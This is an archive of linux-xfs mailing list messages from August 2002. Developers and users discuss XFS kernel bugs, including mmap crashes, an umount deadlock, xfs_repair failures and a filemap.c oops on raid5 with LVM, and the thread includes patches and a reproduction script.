oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G545Rw025911 for ; Thu, 15 Aug 2002 22:04:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G544F8025909 for linux-xfs-outgoing; Thu, 15 Aug 2002 22:04:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G53wRw025877 for ; Thu, 15 Aug 2002 22:03:59 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id WAA03685 for ; Thu, 15 Aug 2002 22:06:36 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA00791; Fri, 16 Aug 2002 15:05:17 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7G52voX001449; Fri, 16 Aug 2002 15:02:57 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7G52u0k001447; Fri, 16 Aug 2002 15:02:56 +1000 Date: Fri, 16 Aug 2002 15:02:56 +1000 From: Nathan Scott To: Jason White Cc: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? Message-ID: <20020816050256.GG461@frodo> References: <15708.22618.786062.458402@jdc.local> <15708.34333.953994.923975@jdc.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15708.34333.953994.923975@jdc.local> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.2 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, Aug 16, 2002 at 02:57:01PM +1000, Jason White wrote: > Eric Sandeen writes: > > > > Hi Jason - Yes, my suggestion would be to please upgrade your kernel > > and see if it goes away. > I have been running cvs update -dP regularly. After updating again this > afternoon, I tried to compile the kernel, and received: > ... > /home/jason/xfs/linux-2.4-xfs/linux/include/linux/fs.h:337: linux/xfs_fs_i.h: No such file or directory > ... > /home/jason/xfs/linux-2.4-xfs/linux/include/linux/fs.h:529: field `xfs_i' has incomplete type Your linux/include/linux/fs.h file does not match up with current CVS (it is several weeks out of date at least, maybe months now since that change went in). > Is it time to start from scratch with a full cvs checkout? I can't That might be best. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Aug 15 22:14:21 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G5ELRw026173 for ; Thu, 15 Aug 2002 22:14:21 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G5ELSb026172 for linux-xfs-outgoing; Thu, 15 Aug 2002 22:14:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sunny.pacific.net.au (sunny.pacific.net.au [203.25.148.40]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G5EFRw026144 for ; Thu, 15 Aug 2002 22:14:16 -0700 Received: from wisma.pacific.net.au (wisma.pacific.net.au [210.23.129.72]) by sunny.pacific.net.au with ESMTP id g7G5Grvm020379 for ; Fri, 16 Aug 2002 15:16:53 +1000 (EST) Received: from jdc.local (ppp81.dyn134.pacific.net.au [210.23.134.81]) by wisma.pacific.net.au with ESMTP id PAA10719 for ; Fri, 16 Aug 2002 15:16:52 +1000 (EST) Received: from jdc.local (LOCALHOST [127.0.0.1]) by jdc.local (8.12.1/8.12.1/Debian -5) with ESMTP id g7G5GoWX012659 for ; Fri, 16 Aug 2002 15:16:50 +1000 Received: (from jason@localhost) by jdc.local (8.12.1/8.12.1/Debian -5) id g7G5GnOb012651; Fri, 16 Aug 2002 15:16:49 +1000 From: Jason White MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15708.35521.277576.298436@jdc.local> Date: Fri, 16 Aug 2002 15:16:49 +1000 To: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? In-Reply-To: <15708.34333.953994.923975@jdc.local> References: <15708.22618.786062.458402@jdc.local> <15708.34333.953994.923975@jdc.local> X-Mailer: VM 7.01 under Emacs 20.7.2 Reply-To: jasonw@ariel.ucs.unimelb.edu.au X-Spam-Status: No, hits=-3.9 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,TO_LOCALPART_EQ_REAL version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk include/linux/fs.h was just updated today, so it might be work in progress that's causing the error. From owner-linux-xfs@oss.sgi.com Thu Aug 15 22:16:13 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G5GCRw026339 for ; Thu, 15 Aug 2002 22:16:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G5GCCI026338 for linux-xfs-outgoing; Thu, 15 Aug 2002 22:16:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sunny.pacific.net.au (sunny.pacific.net.au [203.25.148.40]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G5G7Rw026309 for ; Thu, 15 Aug 2002 22:16:08 -0700 Received: from wisma.pacific.net.au (wisma.pacific.net.au [210.23.129.72]) by sunny.pacific.net.au with ESMTP id g7G5Ikvm020832 for ; Fri, 16 Aug 2002 15:18:46 +1000 (EST) Received: from jdc.local (ppp81.dyn134.pacific.net.au [210.23.134.81]) by wisma.pacific.net.au with ESMTP id PAA12786 for ; Fri, 16 Aug 2002 15:18:45 +1000 (EST) Received: from jdc.local (LOCALHOST [127.0.0.1]) by jdc.local (8.12.1/8.12.1/Debian -5) with ESMTP id g7G5IhWX012798 for ; Fri, 16 Aug 2002 15:18:43 +1000 Received: (from jason@localhost) by jdc.local (8.12.1/8.12.1/Debian -5) id g7G5IgKf012790; Fri, 16 Aug 2002 15:18:42 +1000 From: Jason White MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15708.35634.9377.834825@jdc.local> Date: Fri, 16 Aug 2002 15:18:42 +1000 To: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? In-Reply-To: <20020816050256.GG461@frodo> References: <15708.22618.786062.458402@jdc.local> <15708.34333.953994.923975@jdc.local> <20020816050256.GG461@frodo> X-Mailer: VM 7.01 under Emacs 20.7.2 Reply-To: jasonw@ariel.ucs.unimelb.edu.au X-Spam-Status: No, hits=-3.9 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,TO_LOCALPART_EQ_REAL version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Nathan Scott writes: > > Your linux/include/linux/fs.h file does not match up with current CVS > (it is several weeks out of date at least, maybe months now since that > change went in). Right, I'll start afresh. Thanks. From owner-linux-xfs@oss.sgi.com Thu Aug 15 23:17:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G6HLRw027116 for ; Thu, 15 Aug 2002 23:17:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G6HLc7027115 for linux-xfs-outgoing; Thu, 15 Aug 2002 23:17:21 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G6HGRw027087 for ; Thu, 15 Aug 2002 23:17:16 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id XAA00760 for ; Thu, 15 Aug 2002 23:20:37 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA03653 for linux-xfs@oss.sgi.com; Fri, 16 Aug 2002 16:18:36 +1000 (EST) Date: Fri, 16 Aug 2002 16:18:36 +1000 (EST) From: Nathan Scott Message-Id: <200208160618.QAA03653@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - pagebuf cleanup, warnings X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Thu Aug 15 23:16:21 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125243a linux/fs/xfs/xfs_mount.c - 1.297 - No need to cast xfs_incore_relse() to void, returns void (1 caller). linux/fs/xfs/xfs_bmap.c - 1.290 - Fix warnings Keith points out from an IA64 kernel build. linux/fs/xfs/pagebuf/page_buf_locking.c - 1.26 - Cleanup: remove unused pagebuf_is_locked function, consistent formatting of function args & variable declarations throughout. linux/fs/xfs/pagebuf/page_buf.c - 1.53 - Cleanup: remove unneeded #include of xfs_types.h, consistent formatting of function args & variable declarations, fix incorrect &/ misspelt comments, consistent use of STATIC throughout. linux/fs/xfs/pagebuf/page_buf.h - 1.36 - Cleanup: remove unused pagebuf_is_locked function, couple of functions no longer return anything (never did). From owner-linux-xfs@oss.sgi.com Fri Aug 16 01:13:02 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G8D2Rw028149 for ; Fri, 16 Aug 2002 01:13:02 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G8D2Og028147 for linux-xfs-outgoing; Fri, 16 Aug 2002 01:13:02 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G8CpRw028112 for ; Fri, 16 Aug 2002 01:12:51 -0700 Received: from erbenson.alaska.net (19-pm33.nwc.alaska.net [209.112.159.19]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7G8FS5X029777 for ; Fri, 16 Aug 2002 00:15:29 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 1BA8C3A09 for ; Fri, 16 Aug 2002 00:15:28 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id C532B10294; Fri, 16 Aug 2002 00:15:27 -0800 (AKDT) Date: Fri, 16 Aug 2002 00:15:27 -0800 From: Ethan Benson To: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? Message-ID: <20020816001527.B15734@plato.local.lan> Mail-Followup-To: linux-xfs References: <15708.22618.786062.458402@jdc.local> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="lEGEL1/lMxI0MVQ2" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15708.22618.786062.458402@jdc.local>; from jasonw@ariel.ucs.unimelb.edu.au on Fri, Aug 16, 2002 at 11:41:46AM +1000 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-3.9 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK,TO_LOCALPART_EQ_REAL version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --lEGEL1/lMxI0MVQ2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Aug 16, 2002 at 11:41:46AM +1000, Jason White wrote: > I am experiencing occasional and unpredictable "memory fault" errors > with Berkeley DB 4.0.14 (I am testing Subversion: > http://subversion.tigris.org/). >=20 > On the Subversion mailing list it was suggested that if there are mmap > problems with XFS, these might be the cause of the crashes, which seem > to be due to Berkeley DB rather than the Subversion software itself. >=20 > The kernel I am running is: > Linux jdc 2.4.17-xfs #1 Sat Jan 19 16:47:16 EST 2002 i686 > (checked out from cvs on that date). >=20 > Any suggestions? yes 2.4.17 with XFS is broken. > I am willing to upgrade my kernel, but thought it best to inquire on > the list first to find out whether this is likely to be XFS-related, > if so whether it has been fixed and whether I can help to track it > down. >=20 > I am also waiting for 2.4.19-xfs to stabilize before upgrading; as I > remember, there were bugs that Steve Lord and others were working on. >=20 > There was some discussion of mmap problems recently, but that was only > on power-pc - wasn't it? no it was all archietectures, apt-get would segfault because its binary caches became corrupt (this was due to msync() being broken in that kernel). --=20 Ethan Benson http://www.alaska.net/~erbenson/ --lEGEL1/lMxI0MVQ2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1ctJ8ACgkQJKx7GixEevyVSgCdHuhN7F7IWyPUk8Thblo4rF2T uvAAoJTn8M+hK3GMxS5Wd1pVt092RK2+ =9Bva -----END PGP SIGNATURE----- --lEGEL1/lMxI0MVQ2-- From owner-linux-xfs@oss.sgi.com Fri Aug 16 01:30:59 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G8UxRw005151 for ; Fri, 16 Aug 2002 01:30:59 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G8UxPI005150 for linux-xfs-outgoing; Fri, 16 Aug 2002 01:30:59 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G8UkRw005119 for ; Fri, 16 Aug 2002 01:30:46 -0700 Received: from erbenson.alaska.net (19-pm33.nwc.alaska.net [209.112.159.19]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7G8XO5X059738 for ; Fri, 16 Aug 2002 00:33:24 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id ED69A3A09 for ; Fri, 16 Aug 2002 00:33:22 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 1921D10294; Fri, 16 Aug 2002 00:33:23 -0800 (AKDT) Date: Fri, 16 Aug 2002 00:33:23 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: umount in XFS is broken Message-ID: <20020816003323.C15734@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="9Ek0hoCL9XbhcSqy" Content-Disposition: inline User-Agent: Mutt/1.2.5i X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --9Ek0hoCL9XbhcSqy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable i reported a deadlocked mount -o remount,ro process a couple monthes ago and got no response. now today i have had a ordinary umount (not remount) go into an unkillable D state permanently. the situation is this: i have limited resources and the only means of backup i have is to simply rsync the filesystem to matching partitions on a slave disk, its better then nothing which is the only alternative. the script mounts the backup partition for the given mountpoint and then runs rsync to syncronise the two filesystems, then it runs sync, sleep 10 and them umount of the backup filesystem. when the umount process locked i ls'ed the mountpoint, it was empty, the kernel still believed there was a filesystem mounted there however. since there was no way to unwedge this other then rebooting that was done, i mounted the backup filesystem again and XFS recovery was run, but the filesystem was intact (and not empty). xfs_check reports no problems. there was absolutly no messages from the kernel or anything unusal in the logs. my only uneducated guess is that there is some sort of race condition in the umount path of XFS (or to be fair the kernel in general, but i would think such a problem would have been noticed more widly if it were not xfs specific). i cannot reproduce this any time i wish so i am afraid it will be difficult to gather more information for you (i also run powerpcs so kdb is not an option anyway). I would request perhaps an audit of the umount path in XFS to see if something might be found. Linux version 2.4.19 (eb@ash) (gcc version 2.95.4 20011002 (Debian prerelease)) #2 Tue Aug 13 01:10:37 AKDT 2002 SGI XFS snapshot 2.4.19-2002-08-03_04:15_UTC with ACLs, quota, no debug ena= bled $ gcc -v Reading specs from /usr/lib/gcc-lib/powerpc-linux/2.95.4/specs gcc version 2.95.4 20011002 (Debian prerelease) $ ld -v GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux --=20 Ethan Benson http://www.alaska.net/~erbenson/ --9Ek0hoCL9XbhcSqy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1cuNIACgkQJKx7GixEevxNcACghEkkfbVtosVD5sEW6c1nNFaR M2MAn33NB1FEENrhQrb7E54smUvTpes2 =t51x -----END PGP SIGNATURE----- --9Ek0hoCL9XbhcSqy-- From owner-linux-xfs@oss.sgi.com Fri Aug 16 01:36:56 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G8auRw006278 for ; Fri, 16 Aug 2002 01:36:56 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G8aumB006277 for linux-xfs-outgoing; Fri, 16 Aug 2002 01:36:56 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G8aVRw006246 for ; Fri, 16 Aug 2002 01:36:31 -0700 Received: from kendy.up.ac.za (kendy.up.AC.za [137.215.101.101]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id BAA06983 for ; Fri, 16 Aug 2002 01:39:00 -0700 (PDT) mail_from (paul@up.ac.za) Received: from [137.215.95.15] (helo=mx1.up.ac.za) by kendy.up.ac.za with esmtp (Exim 3.35 #1) id 17fcTA-0007aP-00 for linux-xfs@oss.sgi.com; Fri, 16 Aug 2002 10:28:32 +0200 Received: from tzone.up.ac.za ([137.215.145.210] helo=up.ac.za) by mx1.up.ac.za with esmtp (Exim 3.12 #1) id 17fcT8-0003Ed-00 for linux-xfs@oss.sgi.com; Fri, 16 Aug 2002 10:28:30 +0200 Message-ID: <3D5CB7AE.CA1D3714@up.ac.za> Date: Fri, 16 Aug 2002 10:28:30 +0200 From: Paul Schutte X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.19-rc3-xfs-tzone i686) X-Accept-Language: en MIME-Version: 1.0 To: XFS mailing list Subject: Re: Problem repairing filesystem References: <3D5A3174.1A91A496@up.ac.za> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Scanner: exiscan *17fcT8-0003Ed-00*xf0rXH9ymiA* (University of Pretoria, South Africa) X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I am sorry to interrupt the discussion on software raid, but I think that it would be possible to save my 320Gb data partition. xfs_repair return the following error: fatal error -- can't read block 0 for directory inode 2097749 If I connect with xfs_db: xfs_db -r /dev/sda3 xfs_db: inode 2097749 xfs_db: print core.magic = 0x494e core.mode = 040755 core.version = 1 core.format = 2 (extents) core.nlinkv1 = 2 core.uid = 0 core.gid = 0 core.atime.sec = Thu Aug 8 00:09:45 2002 core.atime.nsec = 870865000 core.mtime.sec = Wed Aug 7 02:06:59 2002 core.mtime.nsec = 862258000 core.ctime.sec = Wed Aug 7 02:06:59 2002 core.ctime.nsec = 862258000 core.size = 8192 core.nblocks = 2 core.extsize = 0 core.nextents = 2 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.gen = 3 next_unlinked = null u.bmx[0-1] = [startoff,startblock,blockcount,extentflag] 0:[1,131077,1,0] 1:[8388608,131078,1,0] xfs_db: fsb 131077 xfs_db: type dir2 xfs_db: print --snip-- du[93].inumber = 2232717 du[93].namelen = 14 du[93].name = "94_numaq-tsc-4" du[93].tag = 0xca8 du[94].inumber = 2232718 du[94].namelen = 25 du[94].name = "95_fsync-corruption-fix-2" du[94].tag = 0xcc8 du[95].inumber = 2232719 du[95].namelen = 28 du[95].name = "96_inode_read_write-atomic-3" du[95].tag = 0xcf0 du[96].inumber = 2232720 du[96].namelen = 28 du[96].name = "97_i_size-corruption-fixes-1" du[96].tag = 0xd18 du[97].inumber = 2232721 du[97].namelen = 13 du[97].name = "9900_aio-2.gz" du[97].tag = 0xd40 du[98].inumber = 2232722 du[98].namelen = 18 du[98].name = "9900_aio-API-x86-2" du[98].tag = 0xd58 du[99].inumber = 2232723 du[99].namelen = 24 du[99].name = "9910_shm-largepage-2.bz2" du[99].tag = 0xd78 du[100].inumber = 2232724 du[100].namelen = 29 du[100].name = "9910_shm-largepage-2.bz2.sign" du[100].tag = 0xda0 du[101].inumber = 2232725 du[101].namelen = 23 du[101].name = "9910_shm-largepage-2.gz" du[101].tag = 0xdc8 du[102].inumber = 2232726 du[102].namelen = 28 du[102].name = "9910_shm-largepage-2.gz.sign" du[102].tag = 0xdf0 du[103].inumber = 2097749 du[103].namelen = 1 du[103].name = "." du[103].tag = 0xe18 du[104].freetag = 0xffff du[104].length = 0x1d8 du[104].tag = 0xe28 This suggests to me that the data is still there. If only we could get xfs_repair to finnish it's job and not exit with this error. We tried 3 versions of xfs_repair(1.2.0, 2.0.3, 2.2.1), but they all exit with the same error. Paul Paul Schutte wrote: > Background: > ---------------- > > I ran a ftp server on a pentium II 333Mhz with 256M RAM, using the > 2.4.9-31-xfs kernel. > Used 4 x 120 Gb IDE drives in a RAID 5 array on an Adaptec 2400 hardware > raid controller. > There is a 4Gb root partition and a +/- 320Gb data partition. > > One of the drives failed and the machine crashed. > We replaced the drive and rebuild the array. > > I booted up with a CD that I created a while a go with > 2.4.19-pre9-20020604 and mounted a > nfs root partition with all the xfs tools on it. > We ran xfs_repair (version 2.2.1) on the root partition of the raid > array. > A lot of the files have the dreaded zero problem, but apart from that it > is mountable and usable. > > The problem: > ------------------ > > We ran xfs_repair on the 320Gb partition. > > After about 15min xfs_repair died with 'Terminated' being print on the > console. > > dmesg reveals: > Out of Memory: Killed process 269 (xfs_repair). > > I recreated the swap partition and activated it. > > Ran xfs_repair again. > > > --snip-- > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - ensuring existence of lost+found directory > - traversing filesystem starting at / ... > - traversal finished ... > - traversing all unattached subtrees ... > > fatal error -- can't read block 0 for directory inode 2097749 > > > When you mount the filesystem, it is empty (except for lost+found which > is also empty) > > The output of xfs_repair is large about 300k bzip2'ed. It would be best > if interested parties download it. > > http://www2.up.ac.za/paul/xfs_repair.out.bz2 > > http://www2.up.ac.za/paul/dmesg.out.bz2 > > Questions: > -------------- > Have I lost the 320G partition or does someone still have a trick up > their sleeve ? > > Would it be possible to make xfs_repair use a lot less memory ? > My guess is that the filesystem got it's final blow by xfs_repair > exiting prematurely. > > Any suggestions are welcome. > > Paul Schutte From owner-linux-xfs@oss.sgi.com Fri Aug 16 01:55:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G8tCRw013519 for ; Fri, 16 Aug 2002 01:55:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G8tC7Q013518 for linux-xfs-outgoing; Fri, 16 Aug 2002 01:55:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ping.uio.no (ping.uio.no [129.240.78.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G8sxRw013486 for ; Fri, 16 Aug 2002 01:55:00 -0700 Received: from wirth.ping.uio.no ([129.240.78.27]) by ping.uio.no with esmtp (Exim 3.12 #1 (Debian)) id 17fcvA-0004Y7-00; Fri, 16 Aug 2002 10:57:28 +0200 Received: from ilmari by wirth.ping.uio.no with local (Exim 3.35 #1 (Debian)) id 17fcv9-0006O9-00; Fri, 16 Aug 2002 10:57:27 +0200 To: Eric Sandeen Cc: linux-xfs@oss.sgi.com, James Lee Subject: Re: kernel BUG at filemap.c:843! References: <012301c241cb$16ea8530$fe232fd1@corona> <1029265417.14205.29.camel@stout.americas.sgi.com> From: ilmari@ping.uio.no (Dagfinn Ilmari =?iso-8859-1?q?Manns=E5ker?=) Organization: Program-, Informasjons- og Nettverksteknologisk Gruppe, UiO Date: Fri, 16 Aug 2002 10:57:27 +0200 In-Reply-To: <1029265417.14205.29.camel@stout.americas.sgi.com> (Eric Sandeen's message of "13 Aug 2002 14:03:36 -0500") Message-ID: Lines: 60 User-Agent: Gnus/5.090008 (Oort Gnus v0.08) Emacs/21.2 (i386-debian-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-3.9 required=5.0 tests=IN_REP_TO,PLING version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Eric Sandeen writes: > Hi guys - > > We treat MD and LVM somewhat specially, and I wonder if in this case MD > is masking the fact that you're using LVM, and that might be where the > problem starts. > > Can you try this patch, which will cause LVM & MD to be treated the > same, to see if it helps? It's probably not the final solution, but it > might offer some hints. > > Thanks, > > -Eric > > --- linux/fs/xfs/pagebuf/page_buf_locking.c_1.24 Tue Aug 13 14:05:18 2002 > +++ linux/fs/xfs/pagebuf/page_buf_locking.c Tue Aug 13 13:59:37 2002 > @@ -198,7 +196,7 @@ > pagebuf_target_blocksize(target, PAGE_CACHE_SIZE); > > if ((MAJOR(dev) == MD_MAJOR) || (MAJOR(dev) == EVMS_MAJOR)) > - target->pbr_flags = PBR_ALIGNED_ONLY; > + target->pbr_flags = PBR_SECTOR_ONLY; > else if (MAJOR(dev) == LVM_BLK_MAJOR) > target->pbr_flags = PBR_SECTOR_ONLY; > else > > > > On Mon, 2002-08-12 at 01:40, James Lee wrote: >> Hi, >> >> I'm also having the exactly same problem. >> Tested with 2.4.19-xfs(checked out from SGI's CVS on Aug 10) on Redhat 7.2. >> Kernel and userland tools are compiled with gcc 2.91.66 >> The following is the result of some tests: >> >> scsidisks -> xfs: OK >> scsidisks -> raid5 -> xfs: OK >> scsidisks -> lvm -> xfs: OK >> scsidisks -> raid0 -> lvm -> xfs: OK >> scsidisks -> raid1 -> lvm -> xfs: OK >> scsidisks -> raid5 -> lvm -> xfs: kernel BUG at filemap.c:843! >> >> This problem is always reproducible with the following shell script: >> >> #!/bin/sh >> mkraid /dev/md0 >> vgcreate VolumeGroup /dev/md0 >> lvcreate -L1G -nTestVolume VolumeGroup >> mkfs.xfs -f -d size=32m /dev/VolumeGroup/TestVolume >> mount -t xfs /dev/VolumeGroup/TestVolume >> /mnt -onoatime,nodiratime,usrquota,grpquota >> >> Whenever I run the above script, mount command always generates kernel oops. >> But, if I insert some delay as of the following, then mount goes well: -- ilmari From owner-linux-xfs@oss.sgi.com Fri Aug 16 02:50:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7G9oYRw014549 for ; Fri, 16 Aug 2002 02:50:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7G9oYn3014548 for linux-xfs-outgoing; Fri, 16 Aug 2002 02:50:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ping.uio.no (ping.uio.no [129.240.78.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7G9oTRw014520 for ; Fri, 16 Aug 2002 02:50:29 -0700 Received: from wirth.ping.uio.no ([129.240.78.27]) by ping.uio.no with esmtp (Exim 3.12 #1 (Debian)) id 17fdn2-0004nm-00; Fri, 16 Aug 2002 11:53:08 +0200 Received: from ilmari by wirth.ping.uio.no with local (Exim 3.35 #1 (Debian)) id 17fdn1-0006fj-00; Fri, 16 Aug 2002 11:53:07 +0200 To: linux-xfs@oss.sgi.com Cc: James Lee , Eric Sandeen Subject: Re: kernel BUG at filemap.c:843! References: <012301c241cb$16ea8530$fe232fd1@corona> <1029265417.14205.29.camel@stout.americas.sgi.com> From: ilmari@ping.uio.no (Dagfinn Ilmari 